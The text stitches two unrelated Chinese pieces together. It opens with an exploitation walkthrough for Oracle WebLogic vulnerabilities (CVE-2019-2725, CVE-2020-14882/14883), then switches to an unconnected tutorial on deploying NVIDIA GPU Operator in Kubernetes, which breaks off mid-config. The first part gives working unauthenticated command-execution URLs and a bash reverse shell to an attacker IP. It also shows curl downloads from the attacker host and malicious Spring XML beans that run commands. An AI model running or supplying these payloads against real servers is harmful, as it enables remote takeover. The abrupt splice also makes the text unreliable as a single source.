python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001
  • 命令执行

image-20241108141106045

  • 文件上传
    (如果weblogic部署在linux上,改动红框的命令即可)

image-20241108141157970

CVE-2020-14882

	CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;
	CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
	使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令

判断漏洞是否存在(CVE-2020-14882),访问如下URL,可未授权访问到管理后台页面,但是是低权限用户

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

image-20241114085114336

进一步利用方式有两种:

一.通过
com.tangosol.coherence.mvel2.sh.ShellSession
局限:
	这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
  1. 验证是否命令执行:在tmp目录下创建success文件夹


    image-20241114090233451
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('touch%20/tmp/success');")
  • 看到成功创建

image-20241114090028199

  1. 反弹shell
  • 创建shell.sh放在攻击机上,并用python开启http服务
# 创建一个文件夹保存shell.sh
mkdir poc

# 进入文件夹
cd poc

# 将反弹shell语句写入shell.sh
echo "/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1" > shell.sh

# python3开启http服务,这样靶机就能下载攻击机的文件
python3 -m http.server

image-20241114093304368

  • 回到靶机执行以下命令(意思是使靶机下载shell.sh并保存到本地的/tmp目录下)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('curl%20http://攻击机ip:8000/shell.sh%20-o%20/tmp/shell.sh');")

image-20241114094050186

  • 可以看到靶机/tmp目录下出现了
    shell.sh

image-20241114094204679

  • 执行以下命令,目的是运行shell.sh脚本文件,并且监听攻击机的
    6666
    端口
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('bash%20/tmp/shell.sh');")

image-20241114094649871

  • 可以看到shell反弹成功!

image-20241114094831858

二.通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
  1. 在攻击机poc文件夹下构造
    shell.xml
    ,作用还是让靶机下载刚刚的
    shell.sh
    到/tmp目录下,只不过这次命令换成了文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 		<constructor-arg>
 			<list>
 				<value>bash</value>
 				<value>-c</value>
 				<value><![CDATA[curl 攻击机ip:8000/shell.sh -o /tmp/shell.sh]]></value>
 			</list>
 		</constructor-arg>
	</bean>
</beans>
  1. 在攻击机poc文件夹下构造
    bash.xml
    ,作用是使靶机执行shell脚本,shell脚本里是反弹shell命令
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 		<constructor-arg>
 			<list>
 				<value>bash</value>
 				<value>-c</value>
 				<value><![CDATA[bash /tmp/shell.sh]]></value>
 			</list>
 		</constructor-arg>
	</bean>
</beans>
  • shell.sh shell.xml bash.xml
    都应该在同一目录下,再开启http服务
python3 -m http.server

image-20241114113925604

  1. 靶机执行以下命令:用来下载shell.xml文件,这时shell.xml就会执行curl命令来下载shell.sh脚本,靶机的/tmp就会存在shell.sh
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/shell.xml")

image-20241114113233059

  1. 靶机执行以下命令:用来执行shell.sh脚本反弹shell(在这一步前攻击机监听6666端口)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/bash.xml")

image-20241114113357157

  • 成功!

image-20241114114229357

gpu-operator.png

本文主要分享如何使用 GPU Operator 快速搭建 Kubernetes GPU 环境。

1. 概述

上一篇文章
GPU 使用指南:如何在裸机、Docker、K8s 等环境中使用 GPU
分享了裸机、Docker 环境以及 K8s 环境中如何使用 GPU。

整个流程还算比较简单,但是因为需要在节点上安装 GPU Driver、Container Toolkit 等组件,当集群规模较大时还是比较麻烦的。

为了解决这个问题,NVIDIA 推出了
GPU Operator

GPU Operator 旨在简化在 Kubernetes 环境中使用 GPU 的过程,通过自动化的方式处理 GPU 驱动程序安装、Controller Toolkit、Device-Plugin 、监控等组件

基本上把需要手动安装、配置的地方全部自动化处理了,极大简化了 k8s 环境中的 GPU 使用。

ps:只有 NVIDIA GPU 可以使用,其他厂家现在基本还是手动安装。

2. 组件介绍

这部分主要分析下 GPU Operator 涉及到的各个组件及其作用。

NVIDIA GPU Operator总共包含如下的几个组件:

  • NFD(Node Feature Discovery)
    :用于给节点打上某些标签,这些标签包括 cpu id、内核版本、操作系统版本、是不是 GPU 节点等,其中需要关注的标签是
    nvidia.com/gpu.present=true
    ,如果节点存在该标签,那么说明该节点是 GPU 节点。
  • GFD(GPU Feature Discovery)
    :用于收集节点的 GPU 设备属性(GPU 驱动版本、GPU型号等),并将这些属性以节点标签的方式透出。在k8s 集群中以 DaemonSet 方式部署,只有节点拥有标签
    nvidia.com/gpu.present=true
    时,DaemonSet 控制的 Pod 才会在该节点上运行。
  • NVIDIA Driver Installer
    :基于容器的方式在节点上安装 NVIDIA GPU 驱动,在 k8s 集群中以 DaemonSet 方式部署,只有节点拥有标签
    nvidia.com/gpu.present=true
    时,DaemonSet 控制的 Pod 才会在该节点上运行。
  • NVIDIA Container Toolkit Installer
    :能够实现在容器中使用 GPU 设备,在 k8s 集群中以 DaemonSet 方式部署,同样的,只有节点拥有标签
    nvidia.com/gpu.present=true
    时,DaemonSet 控制的 Pod 才会在该节点上运行。
  • NVIDIA Device Plugin
    :NVIDIA Device Plugin 用于实现将 GPU 设备以 Kubernetes 扩展资源的方式供用户使用,在 k8s 集群中以 DaemonSet 方式部署,只有节点拥有标签
    nvidia.com/gpu.present=true
    时,DaemonSet 控制的 Pod 才会在该节点上运行。
  • DCGM Exporter
    :周期性的收集节点 GPU 设备的状态(当前温度、总的显存、已使用显存、使用率等)并暴露 Metrics,结合 Prometheus 和 Grafana 使用。在 k8s 集群中以DaemonSet 方式部署,只有节点拥有标签
    nvidia.com/gpu.present=true
    时,DaemonSet 控制的 Pod 才会在该节点上运行。

首先是 GFD、NFD,二者都是用于发现 Node 上的信息,并以 label 形式添加到 k8s node 对象上,特别是 GFD 会添加
nvidia.com/gpu.present=true
标签表示该节点有 GPU,只有携带该标签的节点才会安装后续组件。

然后则是 Driver Installer、Container Toolkit Installer 用于安装 GPU 驱动和 container toolkit。

接下来这是 device-plugin 让 k8s 能感知到 GPU 资源信息便于调度和管理。

最后的 exporter 则是采集 GPU 监控并以 Prometheus Metrics 格式暴露,用于做 GPU 监控。

这些组件基本就把需要手动配置的东西都自动化了。

NVIDIA GPU Operator 依如下的顺序部署各个组件,并且如果前一个组件部署失败,那么其后面的组件将停止部署:

  • NVIDIA Driver Installer
  • NVIDIA Container Toolkit Installer
  • NVIDIA Device Plugin
  • DCGM Exporter
  • GFD

每个组件都是以 DaemonSet 方式部署,并且只有当节点存在标签 nvidia.com/gpu.present=true 时,各 DaemonSet控制的 Pod 才会在节点上运行。

nvidia.com/gpu.deploy.driver=pre-installed

GFD & NFD

  • GFD:GPU Feature Discovery

  • NFD:Node Feature Discovery

根据名称基本能猜到这两个组件的功能,发现节点信息和 GPU 信息并以 Label 形式添加到 k8s 中的 node 对象上。

其中 NFD 添加的 label 以
feature.node.kubernetes.io
作为前缀,比如:

feature.node.kubernetes.io/cpu-cpuid.ADX=true
feature.node.kubernetes.io/system-os_release.ID=ubuntu
feature.node.kubernetes.io/system-os_release.VERSION_ID.major=22
feature.node.kubernetes.io/system-os_release.VERSION_ID.minor=04
feature.node.kubernetes.io/system-os_release.VERSION_ID=22.04

对于 GFD 则主要记录 GPU 信息

nvidia.com/cuda.runtime.major=12
nvidia.com/cuda.runtime.minor=2
nvidia.com/cuda.driver.major=535
nvidia.com/cuda.driver.minor=161
nvidia.com/gpu.product=Tesla-T4
nvidia.com/gpu.memory=15360

Driver Installer

NVIDIA 官方提供了一种基于容器安装 NVIDIA 驱动的方式,GPU Operator 安装 nvidia 驱动也是采用的这种方式。

当 NVIDIA 驱动基于容器化安装后,整个架构将演变成图中描述的样子:

gpu-operator-driver-container.png

Driver Installer 组件对应的 DaemonSet 就是
nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04

该 DaemonSet 对应的镜像为

root@test:~# kgo get ds nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04 -oyaml|grep image
        image: nvcr.io/nvidia/driver:535-5.15.0-105-generic-ubuntu22.04

其中 DaemonSet 名称/镜像由几部分组件:

  • nvidia-driver-daemonset 这部分为前缀
  • 5.15.0-105-generic 为内核版本,使用
    uname -r
    命令查看
  • ubuntu22.04 操作系统版本,使用
    cat /etc/os-release
    命令查看
  • 535:这个是 GPU Driver 的版本号,这里表示安装 535 版本驱动,在部署时可以指定。

GPU Operator 会自动根据节点上的内核版本和操作系统生成 DaemonSet 镜像,因为是以 DaemonSet 方式运行的,所有节点上都是跑的同一个 Pod,
因此要限制集群中的所有 GPU 节点操作系统和内核版本必须一致

ps:如果提前手动在节点上安装 GPU 驱动,那么 GPU Operator 检测到之后就不会在该节点上启动 Installer Pod,这样该节点就可以不需要管操作系统和内核版本。

NVIDIA Container Toolkit Installer

该组件用于安装 NVIDIA Container Toolkit。

手动安装的时候有两个步骤:

  • 1)安装 NVIDIA Container Toolkit
  • 2)修改 Runtime 配置指定使用 nvidia-runtime

在整个调用链中新增 nvidia-container-runtime,以便处理 GPU 相关操作。

nv-container-runtime-call-flow

这个 Installer 做的操作也就是这两步:

  • 1)将容器中NVIDIA Container Toolkit组件所涉及的命令行工具和库文件移动到/usr/local/nvidia/toolkit目录下
  • 2)在 /usr/local/nvidia/toolkit/.config/nvidia-container-runtime创建nvidia-container-runtime的配置文件config.toml,并设置nvidia-container-cli.root的值为/run/nvidia/driver。

3. 部署

参考官方文档:
operator-install-guide

准备工作

要求:

1)GPU 节点必须运行相同的操作系统,

  • 如果提前手动在节点上安装驱动的话,该节点可以使用不同的操作系统
  • CPU 节点操作系统没要求,因为 gpu-operator 只会在 GPU 节点上运行

2)GPU 节点必须配置相同容器引擎,例如都是 containerd 或者都是 docker

3)如果使用了 Pod Security Admission (PSA) ,需要为 gpu-operator 标记特权模式

kubectl create ns gpu-operator
kubectl label --overwrite ns gpu-operator pod-security.kubernetes.io/enforce=privileged

4)集群中不要安装 NFD,如果已经安装了需要再安装 gpu-operator 时禁用 NFD 部署。

使用以下命令查看集群中是否部署 NFD

kubectl get nodes -o json | jq '.items[].metadata.labels | keys | any(startswith("feature.node.kubernetes.io"))'

如果返回 true 则说明集群中安装了 NFD。

使用 Helm 部署

官方文档:
operator-install-guide

# 添加 nvidia helm 仓库并更新
helm repo add nvidia https://helm.ngc.nvidia.com/nvidia \
    && helm repo update
# 以默认配置安装
helm install --wait --generate-name \
    -n gpu-operator --create-namespace \
    nvidia/gpu-operator

# 如果提前手动安装了 gpu 驱动,operator 中要禁止 gpu 安装
helm install --wait --generate-name \
     -n gpu-operator --create-namespace \
     nvidia/gpu-operator \
     --set driver.enabled=false

完成后 会启动 Pod 安装驱动,如果节点上已经安装了驱动了,那么 gpu-operaotr 就不会启动安装驱动的 Pod,通过 label 进行筛选。

  • 没安装驱动的节点会打上
    nvidia.com/gpu.deploy.driver=true
    ,表示需要安装驱动
  • 已经手动安装过驱动的节点会打上
    nvidia.com/gpu.deploy.driver=pre-install
    ,Daemonset 则不会在该节点上运行

当然,并不是每个操作系统+内核版本的组合,NVIDIA 都提供了对应的镜像,可以提前在
NVIDIA/driver tags
查看当前 NVIDIA 提供的驱动版本。

测试

部署后,会在
gpu-operator
namespace 下启动相关 Pod,查看一下 Pod 的运行情况,除了一个
Completed
之外其他应该都是 Running 状态。

root@test:~# kubectl -n gpu-operator get po
NAME                                                           READY   STATUS      RESTARTS      AGE
gpu-feature-discovery-jdqpb                                    1/1     Running     0             35d
gpu-operator-67f8b59c9b-k989m                                  1/1     Running     6 (35d ago)   35d
nfd-node-feature-discovery-gc-5644575d55-957rp                 1/1     Running     6 (35d ago)   35d
nfd-node-feature-discovery-master-5bd568cf5c-c6t9s             1/1     Running     6 (35d ago)   35d
nfd-node-feature-discovery-worker-sqb7x                        1/1     Running     6 (35d ago)   35d
nvidia-container-toolkit-daemonset-rqgtv                       1/1     Running     0             35d
nvidia-cuda-validator-9kqnf                                    0/1     Completed   0             35d
nvidia-dcgm-exporter-8mb6v                                     1/1     Running     0             35d
nvidia-device-plugin-daemonset-7nkjw                           1/1     Running     0             35d
nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04-g5dgx   1/1     Running     5 (35d ago)   35d
nvidia-operator-validator-6mqlm                                1/1     Running     0             35d

然后进入
nvidia-driver-daemonset-xxx
Pod,该 Pod 负责 GPU Driver 的安装,在该 Pod 中可以执行
nvidia-smi
命令,比如查看 GPU 信息:

root@j99cloudvm:~# kubectl -n gpu-operator exec -it nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04-g5dgx -- nvidia-smi
Defaulted container "nvidia-device-plugin" out of: nvidia-device-plugin, config-manager, toolkit-validation (init), config-manager-init (init)
Wed Jul 17 01:49:35 2024
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 525.147.05   Driver Version: 525.147.05   CUDA Version: 12.0     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  NVIDIA A40          Off  | 00000000:00:07.0 Off |                    0 |
|  0%   46C    P0    88W / 300W |    484MiB / 46068MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   1  NVIDIA A40          Off  | 00000000:00:08.0 Off |                    0 |
|  0%   48C    P0    92W / 300W |  40916MiB / 46068MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
+-----------------------------------------------------------------------------+

最后再查看 Pod 信息

$ kubectl get node xxx -oyaml
status:
  addresses:
  - address: 172.18.187.224
    type: InternalIP
  - address: izj6c5dnq07p1ic04ei9vwz
    type: Hostname
  allocatable:
    cpu: "4"
    ephemeral-storage: "189889991571"
    hugepages-1Gi: "0"
    hugepages-2Mi: "0"
    memory: 15246720Ki
    nvidia.com/gpu: "1"
    pods: "110"
  capacity:
    cpu: "4"
    ephemeral-storage: 206043828Ki
    hugepages-1Gi: "0"
    hugepages-2Mi: "0"
    memory: 15349120Ki
    nvidia.com/gpu: "1"
    pods: "110"

确认 capacity 是否包含 GPU,正常应该是有的,比如这样:

  capacity:
    nvidia.com/gpu: "1"

至此,说明我们的 GPU Operator 已经安装成功,K8s 也能感知到节点上的 GPU,接下来就可以在 Pod 中使用 GPU 了。

创建一个测试 Pod,申请一个 GPU:

apiVersion: v1
kind: Pod
metadata:
  name: cuda-vectoradd
spec:
  restartPolicy: OnFailure
  containers:
  - name: cuda-vectoradd
    image: "nvcr.io/nvidia/k8s/cuda-sample:vectoradd-cuda11.7.1-ubuntu20.04"
    resources:
      limits:
        nvidia.com/gpu: 1

正常的 Pod 日志如下:

$ kubectl logs pod/cuda-vectoradd
[Vector addition of 50000 elements]
Copy input data from the host memory to the CUDA device
CUDA kernel launch with 196 blocks of 256 threads
Copy output data from the CUDA device to the host memory
Test PASSED
Done

至此,我们已经可以在 k8s 中使用 GPU 了。


【Kubernetes 系列】
持续更新中,搜索公众号【
探索云原生
】订阅,阅读更多文章。


4. 原理

这部分主要分析一下 Driver Installer 和 NVIDIA Container Toolkit Installer 这两个组件是怎么实现的,大致原理。

Driver Installer

NVIDIA 官方提供了一种基于容器安装 NVIDIA 驱动的方式,GPU Operator 安装 nvidia 驱动也是采用的这种方式。

当 NVIDIA 驱动基于容器化安装后,整个架构将演变成图中描述的样子:

gpu-operator-driver-container.png

安装

Driver Installer 组件对应的 DaemonSet 就是
nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04

该 DaemonSet 对应的镜像为

root@test:~# kgo get ds nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04 -oyaml|grep image
        image: nvcr.io/nvidia/driver:535-5.15.0-105-generic-ubuntu22.04

其中 DaemonSet 名称/镜像由几部分组件:

  • nvidia-driver-daemonset 这部分为前缀
  • 5.15.0-105-generic 为内核版本,使用
    uname -r
    命令查看
  • ubuntu22.04 操作系统版本,使用
    cat /etc/os-release
    命令查看
  • 535:这个是 GPU Driver 的版本号,这里表示安装 535 版本驱动,在部署时可以指定。

查看一下 Pod 日志:

root@test:~# kubectl -n gpu-operaator logs -f nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04-g5dgx

========== NVIDIA Software Installer ==========

Starting installation of NVIDIA driver branch 535 for Linux kernel version 5.15.0-105-generic

Stopping NVIDIA persistence daemon...
Unloading NVIDIA driver kernel modules...
Unmounting NVIDIA driver rootfs...
Installing NVIDIA driver kernel modules...
Reading package lists...
Building dependency tree...
Reading state information...
The following packages were automatically installed and are no longer required:
 ...
Setting up linux-modules-nvidia-535-server-5.15.0-105-generic (5.15.0-105.115+1) ...
linux-image-nvidia-5.15.0-105-generic: constructing .ko files
nvidia-drm.ko: OK
nvidia-modeset.ko: OK
nvidia-peermem.ko: OK
nvidia-uvm.ko: OK
nvidia.ko: OK
Processing triggers for linux-image-5.15.0-105-generic (5.15.0-105.115) ...
/etc/kernel/postinst.d/dkms:
 * dkms: running auto installation service for kernel 5.15.0-105-generic
   ...done.
Parsing kernel module parameters...
Loading ipmi and i2c_core kernel modules...
Loading NVIDIA driver kernel modules...
+ modprobe nvidia
+ modprobe nvidia-uvm
+ modprobe nvidia-modeset
+ set +o xtrace -o nounset
Starting NVIDIA persistence daemon...
Mounting NVIDIA driver rootfs...
Done, now waiting for signal

可以看到,先是在安装驱动,安装完成后又加载了一些内核模块。

为了实现在容器中安装驱动,该 Pod 通过 hostPath 将安装驱动相关的目录都挂载到容器中了,

      volumes:
      - hostPath:
          path: /run/nvidia
          type: DirectoryOrCreate
        name: run-nvidia
      - hostPath:
          path: /etc/os-release
          type: ""
        name: host-os-release
      - hostPath:
          path: /run/nvidia-topologyd
          type: DirectoryOrCreate
        name: run-nvidia-topologyd
        name: run-mellanox-drivers
      - hostPath:
          path: /run/nvidia/validations
          type: DirectoryOrCreate
        name: run-nvidia-validations
      - hostPath:
          path: /sys
          type: Directory

镜像构建

根据 Dockerfile 来看下镜像是怎么构建的,以 CentOS8 的 Dockerfile 为例

文件来自:
https://gitlab.com/nvidia/container-images/driver/-/blob/master/centos8/Dockerfile

FROM nvidia/cuda:11.4.1-base-centos8

ENV NVIDIA_VISIBLE_DEVICES=void

RUN NVIDIA_GPGKEY_SUM=d0664fbbdb8c32356d45de36c5984617217b2d0bef41b93ccecd326ba3b80c87 && \
    curl -fsSL https://developer.download.nvidia.com/compute/cuda/repos/rhel8/x86_64/D42D0685.pub | sed '/^Version/d' > /etc/pki/rpm-gpg/RPM-GPG-KEY-NVIDIA && \
    echo "$NVIDIA_GPGKEY_SUM  /etc/pki/rpm-gpg/RPM-GPG-KEY-NVIDIA" | sha256sum -c --strict -

#首先安装一些依赖
RUN dnf install -y \
        ca-certificates \
        curl \
        gcc \
        glibc.i686 \
        make \
        dnf-utils \
        kmod && \
    rm -rf /var/cache/dnf/*

RUN curl -fsSL -o /usr/local/bin/donkey https://github.com/3XX0/donkey/releases/download/v1.1.0/donkey && \
    curl -fsSL -o /usr/local/bin/extract-vmlinux https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux && \
    chmod +x /usr/local/bin/donkey /usr/local/bin/extract-vmlinux

#ARG BASE_URL=http://us.download.nvidia.com/XFree86/Linux-x86_64
ARG BASE_URL=https://us.download.nvidia.com/tesla
ARG DRIVER_VERSION
ENV DRIVER_VERSION=$DRIVER_VERSION

# 然后下载驱动文件并安装,注意 --no-kernel-module,这里只安装了 userspace 部分
RUN cd /tmp && \
    curl -fSsl -O $BASE_URL/$DRIVER_VERSION/NVIDIA-Linux-x86_64-$DRIVER_VERSION.run && \
    sh NVIDIA-Linux-x86_64-$DRIVER_VERSION.run -x && \
    cd NVIDIA-Linux-x86_64-$DRIVER_VERSION && \
    ./nvidia-installer --silent \
                       --no-kernel-module \
                       --install-compat32-libs \
                       --no-nouveau-check \
                       --no-nvidia-modprobe \
                       --no-rpms \
                       --no-backup \
                       --no-check-for-alternate-installs \
                       --no-libglx-indirect \
                       --no-install-libglvnd \
                       --x-prefix=/tmp/null \
                       --x-module-path=/tmp/null \
                       --x-library-path=/tmp/null \
                       --x-sysconfig-path=/tmp/null && \
    mkdir -p /usr/src/nvidia-$DRIVER_VERSION && \
    mv LICENSE mkprecompiled kernel /usr/src/nvidia-$DRIVER_VERSION && \
    sed '9,${/^\(kernel\|LICENSE\)/!d}' .manifest > /usr/src/nvidia-$DRIVER_VERSION/.manifest && \
    rm -rf /tmp/*

COPY nvidia-driver /usr/local/bin

WORKDIR /usr/src/nvidia-$DRIVER_VERSION

ARG PUBLIC_KEY=empty
COPY ${PUBLIC_KEY} kernel/pubkey.x509

ARG PRIVATE_KEY

# Remove cuda repository to avoid GPG errors
RUN rm -f /etc/yum.repos.d/cuda.repo

# Add NGC DL license from the CUDA image
RUN mkdir /licenses && mv /NGC-DL-CONTAINER-LICENSE /licenses/NGC-DL-CONTAINER-LICENSE

ENTRYPOINT ["nvidia-driver", "init"]

最后执行的
nvidia-driver
是一个脚本文件,init 部分内容如下:

init() {
    echo -e "\n========== NVIDIA Software Installer ==========\n"
    echo -e "Starting installation of NVIDIA driver version ${DRIVER_VERSION} for Linux kernel version ${KERNEL_VERSION}\n"

    exec 3> ${PID_FILE}
    if ! flock -n 3; then
        echo "An instance of the NVIDIA driver is already running, aborting"
        exit 1
    fi
    echo $$ >&3

    trap "echo 'Caught signal'; exit 1" HUP INT QUIT PIPE TERM
    trap "_shutdown" EXIT

    _unload_driver || exit 1
    _unmount_rootfs

    if _kernel_requires_package; then
        _update_package_cache
        _resolve_kernel_version || exit 1
        _install_prerequisites
        _create_driver_package
        #_remove_prerequisites
        _cleanup_package_cache
    fi

    _install_driver
    _load_driver
    _mount_rootfs
    _write_kernel_update_hook

    echo "Done, now waiting for signal"
    sleep infinity &
    trap "echo 'Caught signal'; _shutdown && { kill $!; exit 0; }" HUP INT QUIT PIPE TERM
    trap - EXIT
    while true; do wait $! || continue; done
    exit 0
}

然后
_install_driver
部分在安装驱动,因为之前构建镜像时就安装了 userspace 部分,因此这里指定了
--kernel-module-only
来限制安装驱动部分。

这也是为什么容器方式安装很快,因为在构建镜像时就不 驱动的 userspace 部分安装好了。

# Link and install the kernel modules from a precompiled package using the nvidia-installer.
_install_driver() {
    local install_args=()

    echo "Installing NVIDIA driver kernel modules..."
    cd /usr/src/nvidia-${DRIVER_VERSION}
    rm -rf /lib/modules/${KERNEL_VERSION}/video

    if [ "${ACCEPT_LICENSE}" = "yes" ]; then
        install_args+=("--accept-license")
    fi
    nvidia-installer --kernel-module-only --no-drm --ui=none --no-nouveau-check ${install_args[@]+"${install_args[@]}"}
}

_load_driver
加载相关内核模块

# Load the kernel modules and start persistenced.
_load_driver() {
    echo "Loading ipmi and i2c_core kernel modules..."
    modprobe -a i2c_core ipmi_msghandler ipmi_devintf

    echo "Loading NVIDIA driver kernel modules..."
    modprobe -a nvidia nvidia-uvm nvidia-modeset

    echo "Starting NVIDIA persistence daemon..."
    nvidia-persistenced --persistence-mode
}

_mount_rootfs
将驱动程序挂载到 /var/run 目录下

# Mount the driver rootfs into the run directory with the exception of sysfs.
_mount_rootfs() {
    echo "Mounting NVIDIA driver rootfs..."
    mount --make-runbindable /sys
    mount --make-private /sys
    mkdir -p ${RUN_DIR}/driver
    mount --rbind / ${RUN_DIR}/driver
}

这就是驱动安装的部分流程,和我们看到的 Pod 日志也是匹配的。

卸载的话就是相反的操作了。

NVIDIA Container Toolkit Installer

该组件用于安装 NVIDIA Container Toolkit。

手动安装的时候有两个步骤:

  • 1)安装 NVIDIA Container Toolkit
  • 2)修改 Runtime 配置指定使用 nvidia-runtime

在整个调用链中新增 nvidia-container-runtime,以便处理 GPU 相关操作。

nv-container-runtime-call-flow

这个 Installer 做的操作也就是这两步:

  • 1)将容器中NVIDIA Container Toolkit组件所涉及的命令行工具和库文件移动到/usr/local/nvidia/toolkit目录下
  • 2)在 /usr/local/nvidia/toolkit/.config/nvidia-container-runtime创建nvidia-container-runtime的配置文件config.toml,并设置nvidia-container-cli.root的值为/run/nvidia/driver。

安装

该 Installer 对应的 DaemonSet 为
nvidia-container-toolkit-daemonset

Pod 启动命令如下:

      containers:
      - args:
        - /bin/entrypoint.sh
        command:
        - /bin/bash
        - -c      

这个
entrypoint.sh
内容存放在
nvidia-container-toolkit-entrypoint
Configmap 中,内容如下:

apiVersion: v1
data:
  entrypoint.sh: |-
    #!/bin/bash

    set -e

    driver_root=/run/nvidia/driver
    driver_root_ctr_path=$driver_root
    if [[ -f /run/nvidia/validations/host-driver-ready ]]; then
      driver_root=/
      driver_root_ctr_path=/host
    fi

    export NVIDIA_DRIVER_ROOT=$driver_root
    export DRIVER_ROOT_CTR_PATH=$driver_root_ctr_path

    #
    # The below delay is a workaround for an issue affecting some versions
    # of containerd starting with 1.6.9. Staring with containerd 1.6.9 we
    # started seeing the toolkit container enter a crashloop whereby it
    # would recieve a SIGTERM shortly after restarting containerd.
    #
    # Refer to the commit message where this workaround was implemented
    # for additional details:
    #   https://github.com/NVIDIA/gpu-operator/commit/963b8dc87ed54632a7345c1fcfe842f4b7449565
    #
    sleep 5

    exec nvidia-toolkit

设置了驱动相关环境变量,真正执行配置的是
exec nvidia-toolkit
这一句。

该同样使用 hostPath 方式把宿主机目录挂载到容器中,便于对宿主机上的内容进行修改。

      volumes:
      - hostPath:
          path: /run/nvidia
          type: DirectoryOrCreate
        name: nvidia-run-path
      - hostPath:
          path: /run/nvidia/validations
          type: DirectoryOrCreate
        name: run-nvidia-validations
      - hostPath:
          path: /run/nvidia/driver
          type: ""
        name: driver-install-path
        name: host-root
      - hostPath:
          path: /usr/local/nvidia
          type: ""
        name: toolkit-install-dir
      - hostPath:
          path: /run/containers/oci/hooks.d
          type: ""
        name: crio-hooks
      - hostPath:
          path: /dev/char
          type: ""
        name: host-dev-char
      - hostPath:
          path: /var/run/cdi
          type: DirectoryOrCreate
        name: cdi-root
      - hostPath:
          path: /etc/docker
          type: DirectoryOrCreate
        name: docker-config
      - hostPath:
          path: /var/run
          type: ""
        name: docker-socket

查看 Pod 日志,看看安装流程

root@test:~# kubectl -n gpu-operator logs -f nvidia-container-toolkit-daemonset-rqgtv
# 安装 container toolkit
time="2024-06-12T02:07:58Z" level=info msg="Parsing arguments"
time="2024-06-12T02:07:58Z" level=info msg="Starting nvidia-toolkit"
time="2024-06-12T02:07:58Z" level=info msg="Verifying Flags"
time="2024-06-12T02:07:58Z" level=info msg=Initializing
time="2024-06-12T02:07:58Z" level=info msg="Installing toolkit"
time="2024-06-12T02:07:58Z" level=info msg="Installing NVIDIA container toolkit to '/usr/local/nvidia/toolkit'"

# 修改配置
time="2024-06-12T02:07:58Z" level=info msg="Installing NVIDIA container toolkit config '/usr/local/nvidia/toolkit/.config/nvidia-container-runtime/config.toml'"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-runtime.debug"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-runtime.log-level"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-runtime.mode"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-runtime.modes.cdi.annotation-prefixes"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-runtime.runtimes"
time="2024-06-12T02:07:58Z" level=info msg="Skipping unset option: nvidia-container-cli.debug"
Using config:
accept-nvidia-visible-devices-as-volume-mounts = false
accept-nvidia-visible-devices-envvar-when-unprivileged = true
disable-require = false

[nvidia-container-cli]
  environment = []
  ldconfig = "@/run/nvidia/driver/sbin/ldconfig.real"
  load-kmods = true
  path = "/usr/local/nvidia/toolkit/nvidia-container-cli"
  root = "/run/nvidia/driver"

[nvidia-container-runtime]
  log-level = "info"
  mode = "auto"
  runtimes = ["docker-runc", "runc"]

  [nvidia-container-runtime.modes]

    [nvidia-container-runtime.modes.cdi]
      default-kind = "management.nvidia.com/gpu"

    [nvidia-container-runtime.modes.csv]
